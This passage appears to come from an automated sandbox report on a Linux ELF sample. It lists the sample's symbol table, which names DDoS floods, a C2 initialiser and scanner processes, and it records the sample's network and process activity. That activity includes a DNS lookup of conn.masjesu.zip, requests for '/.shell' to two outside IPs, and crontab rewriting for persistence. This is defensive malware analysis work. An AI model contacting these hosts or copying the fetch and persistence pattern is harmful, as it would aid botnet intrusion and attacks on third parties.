                inet_ntoa.symtab0x40acc110FUNC<unknown>DEFAULT2
                inet_ntoa.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                inet_ntoa_r.symtab0x40ac7477FUNC<unknown>DEFAULT2
                inet_ntop.symtab0x40a9d8527FUNC<unknown>DEFAULT2
                inet_ntop4.symtab0x40a8c0280FUNC<unknown>DEFAULT2
                inet_pton.symtab0x40a6d3493FUNC<unknown>DEFAULT2
                inet_pton4.symtab0x40a64c135FUNC<unknown>DEFAULT2
                initC2.symtab0x401fe51292FUNC<unknown>DEFAULT2
                initReplic.symtab0x40770c655FUNC<unknown>DEFAULT2
                initfini.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                initstate.symtab0x40c2aa110FUNC<unknown>DEFAULT2
                initstate_r.symtab0x40c50b185FUNC<unknown>DEFAULT2
                ioctl.symtab0x40d358104FUNC<unknown>DEFAULT2
                ioctl.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                ip.3710.symtab0x513fd016OBJECT<unknown>DEFAULT10
                ipState.symtab0x513fa040OBJECT<unknown>DEFAULT10
                isPortOpen.symtab0x4075c5327FUNC<unknown>DEFAULT2
                isatty.symtab0x40a5a425FUNC<unknown>DEFAULT2
                isatty.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                isbl.symtab0x407128925FUNC<unknown>DEFAULT2
                kill.symtab0x407ae844FUNC<unknown>DEFAULT2
                kill.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                killChildren.symtab0x401f9085FUNC<unknown>DEFAULT2
                lengthd.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                lengthq.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/string/x86_64/memcpy.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/string/x86_64/mempcpy.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/string/x86_64/memset.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/string/x86_64/strcat.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/string/x86_64/strchr.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/string/x86_64/strcmp.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/string/x86_64/strcpy.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/string/x86_64/strlen.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/string/x86_64/strpbrk.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/string/x86_64/strspn.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/sysdeps/linux/x86_64/crt1.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/sysdeps/linux/x86_64/crti.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/sysdeps/linux/x86_64/crtn.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/sysdeps/linux/x86_64/vfork.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                llseek.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                lock.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                lockthis.symtab0x4005a151FUNC<unknown>DEFAULT2
                lseek.symtab0x40d3c845FUNC<unknown>DEFAULT2
                lseek.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                lseek64.symtab0x40d3c05FUNC<unknown>DEFAULT2
                main.symtab0x4024f1369FUNC<unknown>DEFAULT2
                main.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                malloc.symtab0x40b36c2149FUNC<unknown>DEFAULT2
                malloc.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                malloc_trim.symtab0x40c0c328FUNC<unknown>DEFAULT2
                max.symtab0x513f804OBJECT<unknown>DEFAULT10
                memchr.symtab0x40e39c240FUNC<unknown>DEFAULT2
                memchr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                memcpy.symtab0x409c30102FUNC<unknown>DEFAULT2
                memmove.symtab0x40e48c734FUNC<unknown>DEFAULT2
                memmove.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                mempcpy.symtab0x40e34090FUNC<unknown>DEFAULT2
                memrchr.symtab0x40e76c237FUNC<unknown>DEFAULT2
                memrchr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                memset.symtab0x409ca0210FUNC<unknown>DEFAULT2
                method.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                mmap.symtab0x40cfac48FUNC<unknown>DEFAULT2
                mmap.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                munmap.symtab0x40d3f838FUNC<unknown>DEFAULT2
                munmap.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                mylock.symtab0x513fe040OBJECT<unknown>DEFAULT10
                mylock.symtab0x513d4040OBJECT<unknown>DEFAULT9
                mylock.symtab0x513d8040OBJECT<unknown>DEFAULT9
                mylock.symtab0x5162e040OBJECT<unknown>DEFAULT10
                nanosleep.symtab0x40d42038FUNC<unknown>DEFAULT2
                nanosleep.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                next_start.1440.symtab0x5160408OBJECT<unknown>DEFAULT10
                ntohl.symtab0x40a6455FUNC<unknown>DEFAULT2
                ntohl.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                ntohs.symtab0x40a63d8FUNC<unknown>DEFAULT2
                ntop.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                object.2814.symtab0x513f4048OBJECT<unknown>DEFAULT10
                open.symtab0x40d448106FUNC<unknown>DEFAULT2
                open.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                opendir.symtab0x407c74243FUNC<unknown>DEFAULT2
                opendir.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                opennameservers.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                ospf.symtab0x403cde930FUNC<unknown>DEFAULT2
                p.2759.symtab0x5139c80OBJECT<unknown>DEFAULT9
                pclose.symtab0x408220190FUNC<unknown>DEFAULT2
                perror.symtab0x407f7445FUNC<unknown>DEFAULT2
                perror.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                pipe.symtab0x40d4c038FUNC<unknown>DEFAULT2
                pipe.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                poll.symtab0x40f2fc41FUNC<unknown>DEFAULT2
                poll.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                popen.symtab0x4082de485FUNC<unknown>DEFAULT2
                popen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                popen_list.symtab0x5140088OBJECT<unknown>DEFAULT10
                prefix.4494.symtab0x41237512OBJECT<unknown>DEFAULT4
                protorand.symtab0x4047c4993FUNC<unknown>DEFAULT2
                qual_chars.4498.symtab0x41239020OBJECT<unknown>DEFAULT4
                raise.symtab0x40f28c18FUNC<unknown>DEFAULT2
                raise.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                rand.symtab0x40c1f411FUNC<unknown>DEFAULT2
                rand.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                random.symtab0x40c20072FUNC<unknown>DEFAULT2
                random.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                random_poly_info.symtab0x412fe040OBJECT<unknown>DEFAULT4
                random_r.symtab0x40c40890FUNC<unknown>DEFAULT2
                random_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                randtbl.symtab0x513e00128OBJECT<unknown>DEFAULT9
                rawmemchr.symtab0x40f670190FUNC<unknown>DEFAULT2
                rawmemchr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                rdp.symtab0x40393c930FUNC<unknown>DEFAULT2
                read.symtab0x40f32839FUNC<unknown>DEFAULT2
                read.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                read_etc_hosts_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                readdir.symtab0x407d68143FUNC<unknown>DEFAULT2
                readdir.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                recv.symtab0x40b12811FUNC<unknown>DEFAULT2
                recv.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                recvfrom.symtab0x40b13445FUNC<unknown>DEFAULT2
                recvfrom.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                removeReadPermission.symtab0x4016a4148FUNC<unknown>DEFAULT2
                rename.symtab0x407b1438FUNC<unknown>DEFAULT2
                rename.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                replic.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                sbrk.symtab0x40d4e874FUNC<unknown>DEFAULT2
                sbrk.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                scanner10_pid.symtab0x5165944OBJECT<unknown>DEFAULT10
                scanner11_pid.symtab0x5165984OBJECT<unknown>DEFAULT10
                scanner12_pid.symtab0x51659c4OBJECT<unknown>DEFAULT10
                scanner13_pid.symtab0x5165ac4OBJECT<unknown>DEFAULT10
                scanner14_pid.symtab0x5165a44OBJECT<unknown>DEFAULT10
                scanner2_pid.symtab0x5165bc4OBJECT<unknown>DEFAULT10
                scanner3_pid.symtab0x5165904OBJECT<unknown>DEFAULT10
                scanner4_pid.symtab0x5165a04OBJECT<unknown>DEFAULT10
                scanner5_pid.symtab0x5165c44OBJECT<unknown>DEFAULT10
                scanner6_pid.symtab0x5165b44OBJECT<unknown>DEFAULT10
                scanner7_pid.symtab0x5165a84OBJECT<unknown>DEFAULT10
                scanner8_pid.symtab0x5165c04OBJECT<unknown>DEFAULT10
                scanner9_pid.symtab0x5165b04OBJECT<unknown>DEFAULT10
                send.symtab0x40b16411FUNC<unknown>DEFAULT2
                send.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                sendto.symtab0x40b17048FUNC<unknown>DEFAULT2
                sendto.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                setsid.symtab0x407b3c38FUNC<unknown>DEFAULT2
                setsid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                setsockopt.symtab0x40b1a053FUNC<unknown>DEFAULT2
                setsockopt.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                setstate.symtab0x40c24898FUNC<unknown>DEFAULT2
                setstate_r.symtab0x40c360168FUNC<unknown>DEFAULT2
                sigaction.symtab0x40ceb5247FUNC<unknown>DEFAULT2
                sigaction.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                signal.symtab0x40b208168FUNC<unknown>DEFAULT2
                signal.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                sigprocmask.symtab0x40d53485FUNC<unknown>DEFAULT2
                sigprocmask.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                sigsetops.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                sleep.symtab0x40c8cc415FUNC<unknown>DEFAULT2
                sleep.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                snprintf.symtab0x408034137FUNC<unknown>DEFAULT2
                snprintf.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                socket.symtab0x40b1d847FUNC<unknown>DEFAULT2
                socket.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                socket_connect_tcp.symtab0x4008ac235FUNC<unknown>DEFAULT2
                socket_connect_udp.symtab0x40099714FUNC<unknown>DEFAULT2
                spec_and_mask.4497.symtab0x4123b016OBJECT<unknown>DEFAULT4
                spec_base.4493.symtab0x4123817OBJECT<unknown>DEFAULT4
                spec_chars.4494.symtab0x4123e021OBJECT<unknown>DEFAULT4
                spec_flags.4493.symtab0x4123f58OBJECT<unknown>DEFAULT4
                spec_or_mask.4496.symtab0x4123c016OBJECT<unknown>DEFAULT4
                spec_ranges.4495.symtab0x4123d09OBJECT<unknown>DEFAULT4
                sprintf.symtab0x4080c0149FUNC<unknown>DEFAULT2
                sprintf.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                srand.symtab0x40c31872FUNC<unknown>DEFAULT2
                srandom.symtab0x40c31872FUNC<unknown>DEFAULT2
                srandom_r.symtab0x40c462169FUNC<unknown>DEFAULT2
                static_id.symtab0x513ec02OBJECT<unknown>DEFAULT9
                static_ns.symtab0x5163084OBJECT<unknown>DEFAULT10
                stderr.symtab0x513ad08OBJECT<unknown>DEFAULT9
                stdin.symtab0x513ac08OBJECT<unknown>DEFAULT9
                stdout.symtab0x513ac88OBJECT<unknown>DEFAULT9
                str_to_lower.symtab0x40179959FUNC<unknown>DEFAULT2
                strcasecmp.symtab0x40fde848FUNC<unknown>DEFAULT2
                strcasecmp.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strcat.symtab0x409d80428FUNC<unknown>DEFAULT2
                strchr.symtab0x409f30417FUNC<unknown>DEFAULT2
                strcmp.symtab0x40f53433FUNC<unknown>DEFAULT2
                strcoll.symtab0x40f53433FUNC<unknown>DEFAULT2
                strcpy.symtab0x40a0e0213FUNC<unknown>DEFAULT2
                strdup.symtab0x40f7a854FUNC<unknown>DEFAULT2
                strdup.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strerror_r.symtab0x40a4c4194FUNC<unknown>DEFAULT2
                strlen.symtab0x40a1c0225FUNC<unknown>DEFAULT2
                strncat.symtab0x40f730119FUNC<unknown>DEFAULT2
                strncat.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strncpy.symtab0x40a2a4131FUNC<unknown>DEFAULT2
                strncpy.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strnlen.symtab0x40a328206FUNC<unknown>DEFAULT2
                strnlen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strpbrk.symtab0x40f558140FUNC<unknown>DEFAULT2
                strspn.symtab0x40f5e8135FUNC<unknown>DEFAULT2
                strstr.symtab0x40a3f8187FUNC<unknown>DEFAULT2
                strstr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strtoimax.symtab0x40c5d810FUNC<unknown>DEFAULT2
                strtok.symtab0x40a59810FUNC<unknown>DEFAULT2
                strtok.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strtok_r.symtab0x40e85c94FUNC<unknown>DEFAULT2
                strtok_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strtol.symtab0x40c5d810FUNC<unknown>DEFAULT2
                strtol.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strtoll.symtab0x40c5d810FUNC<unknown>DEFAULT2
                sysconf.symtab0x40ca6c351FUNC<unknown>DEFAULT2
                sysconf.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                table.symtab0x516320624OBJECT<unknown>DEFAULT10
                table_init.symtab0x400428326FUNC<unknown>DEFAULT2
                tcgetattr.symtab0x40a5c0110FUNC<unknown>DEFAULT2
                tcgetattr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                tcp_ack.symtab0x4055732510FUNC<unknown>DEFAULT2
                tcp_ackpsh.symtab0x405f412510FUNC<unknown>DEFAULT2
                tcp_syn.symtab0x404ba52510FUNC<unknown>DEFAULT2
                time.symtab0x407b6439FUNC<unknown>DEFAULT2
                time.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                timeout.symtab0x513a704OBJECT<unknown>DEFAULT9
                tolower.symtab0x407be030FUNC<unknown>DEFAULT2
                tolower.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                translatemethis.symtab0x4006c4340FUNC<unknown>DEFAULT2
                type_codes.symtab0x41240024OBJECT<unknown>DEFAULT4
                type_sizes.symtab0x41241812OBJECT<unknown>DEFAULT4
                udp.symtab0x4028351014FUNC<unknown>DEFAULT2
                umask.symtab0x407b8c40FUNC<unknown>DEFAULT2
                umask.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                unknown.2050.symtab0x41242414OBJECT<unknown>DEFAULT4
                unlockthis.symtab0x40056e51FUNC<unknown>DEFAULT2
                unsafe_state.symtab0x513dc048OBJECT<unknown>DEFAULT9
                usleep.symtab0x40cbcc52FUNC<unknown>DEFAULT2
                usleep.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                vfork.symtab0x40cfdc21FUNC<unknown>DEFAULT2
                vfprintf.symtab0x408818143FUNC<unknown>DEFAULT2
                vfprintf.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                vse.symtab0x402c2b642FUNC<unknown>DEFAULT2
                vsnprintf.symtab0x408158199FUNC<unknown>DEFAULT2
                vsnprintf.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                wait4.symtab0x40f35047FUNC<unknown>DEFAULT2
                wait4.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                waitpid.symtab0x40d58c7FUNC<unknown>DEFAULT2
                waitpid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                wcrtomb.symtab0x40d6f468FUNC<unknown>DEFAULT2
                wcrtomb.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                wcsnrtombs.symtab0x40d748140FUNC<unknown>DEFAULT2
                wcsnrtombs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                wcsrtombs.symtab0x40d73815FUNC<unknown>DEFAULT2
                wcsrtombs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                write.symtab0x407bb442FUNC<unknown>DEFAULT2
                write.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                xdigits.3747.symtab0x412fc017OBJECT<unknown>DEFAULT4
                xstatconv.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS

                Network Behavior

                Download Network PCAP: filtered – full

                Network Port Distribution

                • Total Packets: 23
                • • 443 (HTTPS)
                • • 80 (HTTP)
                • • 53 (DNS)
                TimestampSource PortDest PortSource IPDest IP
                Nov 3, 2024 13:51:58.591227055 CET43928443192.168.2.2391.189.91.42
                Nov 3, 2024 13:51:58.706999063 CET52542443192.168.2.2387.120.84.230
                Nov 3, 2024 13:51:58.707107067 CET4435254287.120.84.230192.168.2.23
                Nov 3, 2024 13:51:58.707165956 CET52542443192.168.2.2387.120.84.230
                Nov 3, 2024 13:51:58.708554983 CET4089880192.168.2.2387.120.84.230
                Nov 3, 2024 13:51:58.713382959 CET804089887.120.84.230192.168.2.23
                Nov 3, 2024 13:51:58.713423967 CET4089880192.168.2.2387.120.84.230
                Nov 3, 2024 13:51:58.714202881 CET4089880192.168.2.2387.120.84.230
                Nov 3, 2024 13:51:58.719029903 CET804089887.120.84.230192.168.2.23
                Nov 3, 2024 13:52:00.061404943 CET804089887.120.84.230192.168.2.23
                Nov 3, 2024 13:52:00.061484098 CET4089880192.168.2.2387.120.84.230
                Nov 3, 2024 13:52:00.066303015 CET804089887.120.84.230192.168.2.23
                Nov 3, 2024 13:52:03.966469049 CET42836443192.168.2.2391.189.91.43
                Nov 3, 2024 13:52:05.502271891 CET4251680192.168.2.23109.202.202.202
                Nov 3, 2024 13:52:18.812407017 CET43928443192.168.2.2391.189.91.42
                Nov 3, 2024 13:52:31.098666906 CET42836443192.168.2.2391.189.91.43
                Nov 3, 2024 13:52:35.194099903 CET4251680192.168.2.23109.202.202.202
                Nov 3, 2024 13:52:59.766767979 CET43928443192.168.2.2391.189.91.42
                Nov 3, 2024 13:53:01.814440966 CET52542443192.168.2.2387.120.84.230
                Nov 3, 2024 13:53:01.814568996 CET4435254287.120.84.230192.168.2.23
                Nov 3, 2024 13:53:01.814645052 CET52542443192.168.2.2387.120.84.230
                Nov 3, 2024 13:53:06.819015026 CET50082443192.168.2.23216.126.231.240
                Nov 3, 2024 13:53:06.819113016 CET44350082216.126.231.240192.168.2.23
                Nov 3, 2024 13:53:06.819200039 CET50082443192.168.2.23216.126.231.240
                Nov 3, 2024 13:53:06.820106983 CET5699680192.168.2.23216.126.231.240
                Nov 3, 2024 13:53:06.825025082 CET8056996216.126.231.240192.168.2.23
                Nov 3, 2024 13:53:06.825138092 CET5699680192.168.2.23216.126.231.240
                Nov 3, 2024 13:53:06.825654030 CET5699680192.168.2.23216.126.231.240
                Nov 3, 2024 13:53:06.830454111 CET8056996216.126.231.240192.168.2.23
                Nov 3, 2024 13:53:07.938312054 CET8056996216.126.231.240192.168.2.23
                Nov 3, 2024 13:53:07.938405991 CET5699680192.168.2.23216.126.231.240
                Nov 3, 2024 13:53:07.943276882 CET8056996216.126.231.240192.168.2.23
                Nov 3, 2024 13:54:02.470427036 CET44350082216.126.231.240192.168.2.23
                Nov 3, 2024 13:54:02.470765114 CET50082443192.168.2.23216.126.231.240
                Nov 3, 2024 13:54:02.470797062 CET44350082216.126.231.240192.168.2.23
                TimestampSource PortDest PortSource IPDest IP
                Nov 3, 2024 13:51:58.665848017 CET4020953192.168.2.231.1.1.1
                Nov 3, 2024 13:51:58.706125975 CET53402091.1.1.1192.168.2.23

                DNS Queries

                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                Nov 3, 2024 13:51:58.665848017 CET192.168.2.231.1.1.10x622dStandard query (0)conn.masjesu.zipA (IP address)IN (0x0001)false

                DNS Answers

                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                Nov 3, 2024 13:51:58.706125975 CET1.1.1.1192.168.2.230x622dNo error (0)conn.masjesu.zip216.126.231.240A (IP address)IN (0x0001)false
                Nov 3, 2024 13:51:58.706125975 CET1.1.1.1192.168.2.230x622dNo error (0)conn.masjesu.zip87.120.84.230A (IP address)IN (0x0001)false

                HTTP Request Dependency Graph

                • 87.120.84.230
                • 216.126.231.240

                HTTP Packets

                Session IDSource IPSource PortDestination IPDestination Port
                0192.168.2.234089887.120.84.23080
                TimestampBytes transferredDirectionData
                Nov 3, 2024 13:51:58.714202881 CET76OUTGET /.shell HTTP/1.1
                Host: 87.120.84.230
                Connection: close


                Session IDSource IPSource PortDestination IPDestination Port
                1192.168.2.2356996216.126.231.24080
                TimestampBytes transferredDirectionData
                Nov 3, 2024 13:53:06.825654030 CET78OUTGET /.shell HTTP/1.1
                Host: 216.126.231.240
                Connection: close


                System Behavior

                General

                Start time (UTC):12:51:56
                Start date (UTC):03/11/2024
                Path:/tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf
                Arguments:/tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf
                File size:114877 bytes
                MD5 hash:05d7857dcead18bbd86d2935f591873c

                Process Activities


                General

                Start time (UTC):12:51:56
                Start date (UTC):03/11/2024
                Path:/tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf
                Arguments:-
                File size:114877 bytes
                MD5 hash:05d7857dcead18bbd86d2935f591873c

                File Activities

                Process Activities


                General

                Start time (UTC):12:51:56
                Start date (UTC):03/11/2024
                Path:/tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf
                Arguments:-
                File size:114877 bytes
                MD5 hash:05d7857dcead18bbd86d2935f591873c

                Process Activities


                General

                Start time (UTC):12:51:56
                Start date (UTC):03/11/2024
                Path:/bin/sh
                Arguments:sh -c "crontab -l"
                File size:129816 bytes
                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                File Activities

                Process Activities


                General

                Start time (UTC):12:51:56
                Start date (UTC):03/11/2024
                Path:/bin/sh
                Arguments:-
                File size:129816 bytes
                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                Process Activities


                General

                Start time (UTC):12:51:56
                Start date (UTC):03/11/2024
                Path:/usr/bin/crontab
                Arguments:crontab -l
                File size:43720 bytes
                MD5 hash:66e521d421ac9b407699061bf21806f5

                File Activities

                Network Activities


                General

                Start time (UTC):12:51:56
                Start date (UTC):03/11/2024
                Path:/tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf
                Arguments:-
                File size:114877 bytes
                MD5 hash:05d7857dcead18bbd86d2935f591873c

                Process Activities


                General

                Start time (UTC):12:51:56
                Start date (UTC):03/11/2024
                Path:/bin/sh
                Arguments:sh -c "crontab -"
                File size:129816 bytes
                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                File Activities

                Process Activities


                General

                Start time (UTC):12:51:56
                Start date (UTC):03/11/2024
                Path:/bin/sh
                Arguments:-
                File size:129816 bytes
                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                Process Activities


                General

                Start time (UTC):12:51:56
                Start date (UTC):03/11/2024
                Path:/usr/bin/crontab
                Arguments:crontab -
                File size:43720 bytes
                MD5 hash:66e521d421ac9b407699061bf21806f5

                File Activities

                Network Activities


                General

                Start time (UTC):12:51:57
                Start date (UTC):03/11/2024
                Path:/tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf
                Arguments:-
                File size:114877 bytes
                MD5 hash:05d7857dcead18bbd86d2935f591873c

                File Activities

                Process Activities

                Network Activities


                General

                Start time (UTC):12:51:57
                Start date (UTC):03/11/2024
                Path:/tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf
                Arguments:-
                File size:114877 bytes
                MD5 hash:05d7857dcead18bbd86d2935f591873c

                File Activities

                Process Activities


                General

                Start time (UTC):12:51:57
                Start date (UTC):03/11/2024
                Path:/tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf
                Arguments:-
                File size:114877 bytes
                MD5 hash:05d7857dcead18bbd86d2935f591873c

                File Activities

                Process Activities